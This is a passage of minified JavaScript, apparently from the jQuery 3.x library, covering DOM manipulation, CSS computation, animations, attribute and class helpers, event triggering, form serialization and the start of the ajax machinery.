e=null!=e&&e,t=null==t?e:t,this.map(function(){return S.clone(this,e,t)})},html:function(e){return B(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!ke.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=S.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(S.cleanData(ye(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return He(this,arguments,function(e){var t=this.parentNode;S.inArray(this,n)<0&&(S.cleanData(ye(this)),t&&t.replaceChild(e,this))},n)}}),S.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,a){S.fn[e]=function(e){for(var t,n=[],r=S(e),i=r.length-1,o=0;o<=i;o++)t=o===i?this:this.clone(!0),S(r[o])[a](t),u.apply(n,t.get());return this.pushStack(n)}});var Pe=new RegExp("^("+ee+")(?!px)[a-z%]+$","i"),Re=/^--/,Me=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=C),t.getComputedStyle(e)},Ie=function(e,t,n){var r,i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=o[i];return r},We=new RegExp(ne.join("|"),"i"),Fe="[\\x20\\t\\r\\n\\f]",$e=new RegExp("^"+Fe+"+|((?:^|[^\\\\])(?:\\\\.)*)"+Fe+"+$","g");function Be(e,t,n){var r,i,o,a,s=Re.test(t),u=e.style;return(n=n||Me(e))&&(a=n.getPropertyValue(t)||n[t],s&&(a=a.replace($e,"$1")),""!==a||ie(e)||(a=S.style(e,t)),!v.pixelBoxStyles()&&Pe.test(a)&&We.test(t)&&(r=u.width,i=u.minWidth,o=u.maxWidth,u.minWidth=u.maxWidth=u.width=a,a=n.width,u.width=r,u.minWidth=i,u.maxWidth=o)),void 0!==a?a+"":a}function _e(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){u.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",l.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",re.appendChild(u).appendChild(l);var e=C.getComputedStyle(l);n="1%"!==e.top,s=12===t(e.marginLeft),l.style.right="60%",o=36===t(e.right),r=36===t(e.width),l.style.position="absolute",i=12===t(l.offsetWidth/3),re.removeChild(u),l=null}}function t(e){return Math.round(parseFloat(e))}var n,r,i,o,a,s,u=E.createElement("div"),l=E.createElement("div");l.style&&(l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",v.clearCloneStyle="content-box"===l.style.backgroundClip,S.extend(v,{boxSizingReliable:function(){return e(),r},pixelBoxStyles:function(){return e(),o},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),s},scrollboxSize:function(){return e(),i},reliableTrDimensions:function(){var e,t,n,r;return null==a&&(e=E.createElement("table"),t=E.createElement("tr"),n=E.createElement("div"),e.style.cssText="position:absolute;left:-11111px;border-collapse:separate",t.style.cssText="border:1px solid",t.style.height="1px",n.style.height="9px",n.style.display="block",re.appendChild(e).appendChild(t).appendChild(n),r=C.getComputedStyle(t),a=parseInt(r.height,10)+parseInt(r.borderTopWidth,10)+parseInt(r.borderBottomWidth,10)===t.offsetHeight,re.removeChild(e)),a}}))}();var ze=["Webkit","Moz","ms"],Ue=E.createElement("div").style,Xe={};function Ve(e){var t=S.cssProps[e]||Xe[e];return t||(e in Ue?e:Xe[e]=function(e){var t=e[0].toUpperCase()+e.slice(1),n=ze.length;while(n--)if((e=ze[n]+t)in Ue)return e}(e)||e)}var Ge=/^(none|table(?!-c[ea]).+)/,Ye={position:"absolute",visibility:"hidden",display:"block"},Qe={letterSpacing:"0",fontWeight:"400"};function Je(e,t,n){var r=te.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ke(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=S.css(e,n+ne[a],!0,i)),r?("content"===n&&(u-=S.css(e,"padding"+ne[a],!0,i)),"margin"!==n&&(u-=S.css(e,"border"+ne[a]+"Width",!0,i))):(u+=S.css(e,"padding"+ne[a],!0,i),"padding"!==n?u+=S.css(e,"border"+ne[a]+"Width",!0,i):s+=S.css(e,"border"+ne[a]+"Width",!0,i));return!r&&0<=o&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))||0),u}function Ze(e,t,n){var r=Me(e),i=(!v.boxSizingReliable()||n)&&"border-box"===S.css(e,"boxSizing",!1,r),o=i,a=Be(e,t,r),s="offset"+t[0].toUpperCase()+t.slice(1);if(Pe.test(a)){if(!n)return a;a="auto"}return(!v.boxSizingReliable()&&i||!v.reliableTrDimensions()&&A(e,"tr")||"auto"===a||!parseFloat(a)&&"inline"===S.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===S.css(e,"boxSizing",!1,r),(o=s in e)&&(a=e[s])),(a=parseFloat(a)||0)+Ke(e,t,n||(i?"border":"content"),o,r,a)+"px"}function et(e,t,n,r,i){return new et.prototype.init(e,t,n,r,i)}S.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Be(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=X(t),u=Re.test(t),l=e.style;if(u||(t=Ve(s)),a=S.cssHooks[t]||S.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"===(o=typeof n)&&(i=te.exec(n))&&i[1]&&(n=se(e,t,i),o="number"),null!=n&&n==n&&("number"!==o||u||(n+=i&&i[3]||(S.cssNumber[s]?"":"px")),v.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=X(t);return Re.test(t)||(t=Ve(s)),(a=S.cssHooks[t]||S.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Be(e,t,r)),"normal"===i&&t in Qe&&(i=Qe[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),S.each(["height","width"],function(e,u){S.cssHooks[u]={get:function(e,t,n){if(t)return!Ge.test(S.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?Ze(e,u,n):Ie(e,Ye,function(){return Ze(e,u,n)})},set:function(e,t,n){var r,i=Me(e),o=!v.scrollboxSize()&&"absolute"===i.position,a=(o||n)&&"border-box"===S.css(e,"boxSizing",!1,i),s=n?Ke(e,u,n,a,i):0;return a&&o&&(s-=Math.ceil(e["offset"+u[0].toUpperCase()+u.slice(1)]-parseFloat(i[u])-Ke(e,u,"border",!1,i)-.5)),s&&(r=te.exec(t))&&"px"!==(r[3]||"px")&&(e.style[u]=t,t=S.css(e,u)),Je(0,t,s)}}}),S.cssHooks.marginLeft=_e(v.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Be(e,"marginLeft"))||e.getBoundingClientRect().left-Ie(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),S.each({margin:"",padding:"",border:"Width"},function(i,o){S.cssHooks[i+o]={expand:function(e){for(var t=0,n={},r="string"==typeof e?e.split(" "):[e];t<4;t++)n[i+ne[t]+o]=r[t]||r[t-2]||r[0];return n}},"margin"!==i&&(S.cssHooks[i+o].set=Je)}),S.fn.extend({css:function(e,t){return B(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=Me(e),i=t.length;a<i;a++)o[t[a]]=S.css(e,t[a],!1,r);return o}return void 0!==n?S.style(e,t,n):S.css(e,t)},e,t,1<arguments.length)}}),((S.Tween=et).prototype={constructor:et,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||S.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(S.cssNumber[n]?"":"px")},cur:function(){var e=et.propHooks[this.prop];return e&&e.get?e.get(this):et.propHooks._default.get(this)},run:function(e){var t,n=et.propHooks[this.prop];return this.options.duration?this.pos=t=S.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):et.propHooks._default.set(this),this}}).init.prototype=et.prototype,(et.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=S.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){S.fx.step[e.prop]?S.fx.step[e.prop](e):1!==e.elem.nodeType||!S.cssHooks[e.prop]&&null==e.elem.style[Ve(e.prop)]?e.elem[e.prop]=e.now:S.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=et.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},S.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},S.fx=et.prototype.init,S.fx.step={};var tt,nt,rt,it,ot=/^(?:toggle|show|hide)$/,at=/queueHooks$/;function st(){nt&&(!1===E.hidden&&C.requestAnimationFrame?C.requestAnimationFrame(st):C.setTimeout(st,S.fx.interval),S.fx.tick())}function ut(){return C.setTimeout(function(){tt=void 0}),tt=Date.now()}function lt(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=ne[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function ct(e,t,n){for(var r,i=(ft.tweeners[t]||[]).concat(ft.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function ft(o,e,t){var n,a,r=0,i=ft.prefilters.length,s=S.Deferred().always(function(){delete u.elem}),u=function(){if(a)return!1;for(var e=tt||ut(),t=Math.max(0,l.startTime+l.duration-e),n=1-(t/l.duration||0),r=0,i=l.tweens.length;r<i;r++)l.tweens[r].run(n);return s.notifyWith(o,[l,n,t]),n<1&&i?t:(i||s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l]),!1)},l=s.promise({elem:o,props:S.extend({},e),opts:S.extend(!0,{specialEasing:{},easing:S.easing._default},t),originalProperties:e,originalOptions:t,startTime:tt||ut(),duration:t.duration,tweens:[],createTween:function(e,t){var n=S.Tween(o,l.opts,e,t,l.opts.specialEasing[e]||l.opts.easing);return l.tweens.push(n),n},stop:function(e){var t=0,n=e?l.tweens.length:0;if(a)return this;for(a=!0;t<n;t++)l.tweens[t].run(1);return e?(s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l,e])):s.rejectWith(o,[l,e]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,a;for(n in e)if(i=t[r=X(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=S.cssHooks[r])&&"expand"in a)for(n in o=a.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);r<i;r++)if(n=ft.prefilters[r].call(l,o,c,l.opts))return m(n.stop)&&(S._queueHooks(l.elem,l.opts.queue).stop=n.stop.bind(n)),n;return S.map(c,ct,l),m(l.opts.start)&&l.opts.start.call(o,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),S.fx.timer(S.extend(u,{elem:o,anim:l,queue:l.opts.queue})),l}S.Animation=S.extend(ft,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return se(n.elem,e,te.exec(t),n),n}]},tweener:function(e,t){m(e)?(t=e,e=["*"]):e=e.match(P);for(var n,r=0,i=e.length;r<i;r++)n=e[r],ft.tweeners[n]=ft.tweeners[n]||[],ft.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),y=Y.get(e,"fxshow");for(r in n.queue||(null==(a=S._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,S.queue(e,"fx").length||a.empty.fire()})})),t)if(i=t[r],ot.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!y||void 0===y[r])continue;g=!0}d[r]=y&&y[r]||S.style(e,r)}if((u=!S.isEmptyObject(t))||!S.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=y&&y.display)&&(l=Y.get(e,"display")),"none"===(c=S.css(e,"display"))&&(l?c=l:(le([e],!0),l=e.style.display||l,c=S.css(e,"display"),le([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===S.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1,d)u||(y?"hidden"in y&&(g=y.hidden):y=Y.access(e,"fxshow",{display:l}),o&&(y.hidden=!g),g&&le([e],!0),p.done(function(){for(r in g||le([e]),Y.remove(e,"fxshow"),d)S.style(e,r,d[r])})),u=ct(g?y[r]:0,r,p),r in y||(y[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?ft.prefilters.unshift(e):ft.prefilters.push(e)}}),S.speed=function(e,t,n){var r=e&&"object"==typeof e?S.extend({},e):{complete:n||!n&&t||m(e)&&e,duration:e,easing:n&&t||t&&!m(t)&&t};return S.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in S.fx.speeds?r.duration=S.fx.speeds[r.duration]:r.duration=S.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){m(r.old)&&r.old.call(this),r.queue&&S.dequeue(this,r.queue)},r},S.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(t,e,n,r){var i=S.isEmptyObject(t),o=S.speed(e,n,r),a=function(){var e=ft(this,S.extend({},t),o);(i||Y.get(this,"finish"))&&e.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(i,e,o){var a=function(e){var t=e.stop;delete e.stop,t(o)};return"string"!=typeof i&&(o=e,e=i,i=void 0),e&&this.queue(i||"fx",[]),this.each(function(){var e=!0,t=null!=i&&i+"queueHooks",n=S.timers,r=Y.get(this);if(t)r[t]&&r[t].stop&&a(r[t]);else for(t in r)r[t]&&r[t].stop&&at.test(t)&&a(r[t]);for(t=n.length;t--;)n[t].elem!==this||null!=i&&n[t].queue!==i||(n[t].anim.stop(o),e=!1,n.splice(t,1));!e&&o||S.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a||"fx"),this.each(function(){var e,t=Y.get(this),n=t[a+"queue"],r=t[a+"queueHooks"],i=S.timers,o=n?n.length:0;for(t.finish=!0,S.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),S.each(["toggle","show","hide"],function(e,r){var i=S.fn[r];S.fn[r]=function(e,t,n){return null==e||"boolean"==typeof e?i.apply(this,arguments):this.animate(lt(r,!0),e,t,n)}}),S.each({slideDown:lt("show"),slideUp:lt("hide"),slideToggle:lt("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,r){S.fn[e]=function(e,t,n){return this.animate(r,e,t,n)}}),S.timers=[],S.fx.tick=function(){var e,t=0,n=S.timers;for(tt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||S.fx.stop(),tt=void 0},S.fx.timer=function(e){S.timers.push(e),S.fx.start()},S.fx.interval=13,S.fx.start=function(){nt||(nt=!0,st())},S.fx.stop=function(){nt=null},S.fx.speeds={slow:600,fast:200,_default:400},S.fn.delay=function(r,e){return r=S.fx&&S.fx.speeds[r]||r,e=e||"fx",this.queue(e,function(e,t){var n=C.setTimeout(e,r);t.stop=function(){C.clearTimeout(n)}})},rt=E.createElement("input"),it=E.createElement("select").appendChild(E.createElement("option")),rt.type="checkbox",v.checkOn=""!==rt.value,v.optSelected=it.selected,(rt=E.createElement("input")).value="t",rt.type="radio",v.radioValue="t"===rt.value;var pt,dt=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return B(this,S.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){S.removeAttr(this,e)})}}),S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)||(i=S.attrHooks[t.toLowerCase()]||(S.expr.match.bool.test(t)?pt:void 0)),void 0!==n?null===n?void S.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=S.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!v.radioValue&&"radio"===t&&A(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(P);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),pt={set:function(e,t,n){return!1===t?S.removeAttr(e,n):e.setAttribute(n,n),n}},S.each(S.expr.match.bool.source.match(/\w+/g),function(e,t){var a=dt[t]||S.find.attr;dt[t]=function(e,t,n){var r,i,o=t.toLowerCase();return n||(i=dt[o],dt[o]=r,r=null!=a(e,t,n)?o:null,dt[o]=i),r}});var ht=/^(?:input|select|textarea|button)$/i,gt=/^(?:a|area)$/i;function yt(e){return(e.match(P)||[]).join(" ")}function vt(e){return e.getAttribute&&e.getAttribute("class")||""}function mt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(P)||[]}S.fn.extend({prop:function(e,t){return B(this,S.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[S.propFix[e]||e]})}}),S.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&S.isXMLDoc(e)||(t=S.propFix[t]||t,i=S.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=S.find.attr(e,"tabindex");return t?parseInt(t,10):ht.test(e.nodeName)||gt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),v.optSelected||(S.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),S.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){S.propFix[this.toLowerCase()]=this}),S.fn.extend({addClass:function(t){var e,n,r,i,o,a;return m(t)?this.each(function(e){S(this).addClass(t.call(this,e,vt(this)))}):(e=mt(t)).length?this.each(function(){if(r=vt(this),n=1===this.nodeType&&" "+yt(r)+" "){for(o=0;o<e.length;o++)i=e[o],n.indexOf(" "+i+" ")<0&&(n+=i+" ");a=yt(n),r!==a&&this.setAttribute("class",a)}}):this},removeClass:function(t){var e,n,r,i,o,a;return m(t)?this.each(function(e){S(this).removeClass(t.call(this,e,vt(this)))}):arguments.length?(e=mt(t)).length?this.each(function(){if(r=vt(this),n=1===this.nodeType&&" "+yt(r)+" "){for(o=0;o<e.length;o++){i=e[o];while(-1<n.indexOf(" "+i+" "))n=n.replace(" "+i+" "," ")}a=yt(n),r!==a&&this.setAttribute("class",a)}}):this:this.attr("class","")},toggleClass:function(t,n){var e,r,i,o,a=typeof t,s="string"===a||Array.isArray(t);return m(t)?this.each(function(e){S(this).toggleClass(t.call(this,e,vt(this),n),n)}):"boolean"==typeof n&&s?n?this.addClass(t):this.removeClass(t):(e=mt(t),this.each(function(){if(s)for(o=S(this),i=0;i<e.length;i++)r=e[i],o.hasClass(r)?o.removeClass(r):o.addClass(r);else void 0!==t&&"boolean"!==a||((r=vt(this))&&Y.set(this,"__className__",r),this.setAttribute&&this.setAttribute("class",r||!1===t?"":Y.get(this,"__className__")||""))}))},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&-1<(" "+yt(vt(n))+" ").indexOf(t))return!0;return!1}});var xt=/\r/g;S.fn.extend({val:function(n){var r,e,i,t=this[0];return arguments.length?(i=m(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=i?n.call(this,e,S(this).val()):n)?t="":"number"==typeof t?t+="":Array.isArray(t)&&(t=S.map(t,function(e){return null==e?"":e+""})),(r=S.valHooks[this.type]||S.valHooks[this.nodeName.toLowerCase()])&&"set"in r&&void 0!==r.set(this,t,"value")||(this.value=t))})):t?(r=S.valHooks[t.type]||S.valHooks[t.nodeName.toLowerCase()])&&"get"in r&&void 0!==(e=r.get(t,"value"))?e:"string"==typeof(e=t.value)?e.replace(xt,""):null==e?"":e:void 0}}),S.extend({valHooks:{option:{get:function(e){var t=S.find.attr(e,"value");return null!=t?t:yt(S.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!A(n.parentNode,"optgroup"))){if(t=S(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=S.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=-1<S.inArray(S.valHooks.option.get(r),o))&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),S.each(["radio","checkbox"],function(){S.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<S.inArray(S(e).val(),t)}},v.checkOn||(S.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),v.focusin="onfocusin"in C;var bt=/^(?:focusinfocus|focusoutblur)$/,wt=function(e){e.stopPropagation()};S.extend(S.event,{trigger:function(e,t,n,r){var i,o,a,s,u,l,c,f,p=[n||E],d=y.call(e,"type")?e.type:e,h=y.call(e,"namespace")?e.namespace.split("."):[];if(o=f=a=n=n||E,3!==n.nodeType&&8!==n.nodeType&&!bt.test(d+S.event.triggered)&&(-1<d.indexOf(".")&&(d=(h=d.split(".")).shift(),h.sort()),u=d.indexOf(":")<0&&"on"+d,(e=e[S.expando]?e:new S.Event(d,"object"==typeof e&&e)).isTrigger=r?2:3,e.namespace=h.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:S.makeArray(t,[e]),c=S.event.special[d]||{},r||!c.trigger||!1!==c.trigger.apply(n,t))){if(!r&&!c.noBubble&&!x(n)){for(s=c.delegateType||d,bt.test(s+d)||(o=o.parentNode);o;o=o.parentNode)p.push(o),a=o;a===(n.ownerDocument||E)&&p.push(a.defaultView||a.parentWindow||C)}i=0;while((o=p[i++])&&!e.isPropagationStopped())f=o,e.type=1<i?s:c.bindType||d,(l=(Y.get(o,"events")||Object.create(null))[e.type]&&Y.get(o,"handle"))&&l.apply(o,t),(l=u&&o[u])&&l.apply&&V(o)&&(e.result=l.apply(o,t),!1===e.result&&e.preventDefault());return e.type=d,r||e.isDefaultPrevented()||c._default&&!1!==c._default.apply(p.pop(),t)||!V(n)||u&&m(n[d])&&!x(n)&&((a=n[u])&&(n[u]=null),S.event.triggered=d,e.isPropagationStopped()&&f.addEventListener(d,wt),n[d](),e.isPropagationStopped()&&f.removeEventListener(d,wt),S.event.triggered=void 0,a&&(n[u]=a)),e.result}},simulate:function(e,t,n){var r=S.extend(new S.Event,n,{type:e,isSimulated:!0});S.event.trigger(r,null,t)}}),S.fn.extend({trigger:function(e,t){return this.each(function(){S.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return S.event.trigger(e,t,n,!0)}}),v.focusin||S.each({focus:"focusin",blur:"focusout"},function(n,r){var i=function(e){S.event.simulate(r,e.target,S.event.fix(e))};S.event.special[r]={setup:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r);t||e.addEventListener(n,i,!0),Y.access(e,r,(t||0)+1)},teardown:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r)-1;t?Y.access(e,r,t):(e.removeEventListener(n,i,!0),Y.remove(e,r))}}});var Tt=C.location,Ct={guid:Date.now()},Et=/\?/;S.parseXML=function(e){var t,n;if(!e||"string"!=typeof e)return null;try{t=(new C.DOMParser).parseFromString(e,"text/xml")}catch(e){}return n=t&&t.getElementsByTagName("parsererror")[0],t&&!n||S.error("Invalid XML: "+(n?S.map(n.childNodes,function(e){return e.textContent}).join("\n"):e)),t};var St=/\[\]$/,kt=/\r?\n/g,At=/^(?:submit|button|image|reset|file)$/i,Nt=/^(?:input|select|textarea|keygen)/i;function jt(n,e,r,i){var t;if(Array.isArray(e))S.each(e,function(e,t){r||St.test(n)?i(n,t):jt(n+"["+("object"==typeof t&&null!=t?e:"")+"]",t,r,i)});else if(r||"object"!==w(e))i(n,e);else for(t in e)jt(n+"["+t+"]",e[t],r,i)}S.param=function(e,t){var n,r=[],i=function(e,t){var n=m(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!S.isPlainObject(e))S.each(e,function(){i(this.name,this.value)});else for(n in e)jt(n,e[n],t,i);return r.join("&")},S.fn.extend({serialize:function(){return S.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=S.prop(this,"elements");return e?S.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!S(this).is(":disabled")&&Nt.test(this.nodeName)&&!At.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=S(this).val();return null==n?null:Array.isArray(n)?S.map(n,function(e){return{name:t.name,value:e.replace(kt,"\r\n")}}):{name:t.name,value:n.replace(kt,"\r\n")}}).get()}});var Dt=/%20/g,qt=/#.*$/,Lt=/([?&])_=[^&]*/,Ht=/^(.*?):[ \t]*([^\r\n]*)$/gm,Ot=/^(?:GET|HEAD)$/,Pt=/^\/\//,Rt={},Mt={},It="*/".concat("*"),Wt=E.createElement("a");function Ft(o){return function(e,t){"string"!=typeof e&&(t=e,e="*");var n,r=0,i=e.toLowerCase().match(P)||[];if(m(t))while(n=i[r++])"+"===n[0]?(n=n.slice(1)||"*",(o[n]=o[n]||[]).unshift(t)):(o[n]=o[n]||[]).push(t)}}function $t(t,i,o,a){var s={},u=t===Mt;function l(e){var r;return s[e]=!0,S.each(t[e]||[],function(e,t){var n=t(i,o,a);return"string"!=typeof n||u||s[n]?u?!(r=n):void 0:(i.dataTypes.unshift(n),l(n),!1)}),r}return l(i.dataTypes[0])||!s["*"]&&l("*")}function Bt(e,t){var n,r,i=S.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&S.extend(!0,e,r),e}Wt.href=Tt.href,S.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Tt.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(Tt.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":It,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":S.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Bt(Bt(e,S.ajaxSettings),t):Bt(S.ajaxSettings,e)},ajaxPrefilter:Ft(Rt),ajaxTransport:Ft(Mt),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var c,f,p,n,d,r,h,g,i,o,y=S.ajaxSetup({},t),v=y.context||y,m=y.context&&(v.nodeType||v.jquery)?S(v):S.event,x=S.Deferred(),b=S.Callbacks("once memory"),w=y.statusCode||{},a={},s={},u="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n){n={};while(t=Ht.exec(p))n[t[1].toLowerCase()+" "]=(n[t[1].toLowerCase()+" "]||[]).concat(t[2])}t=n[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return 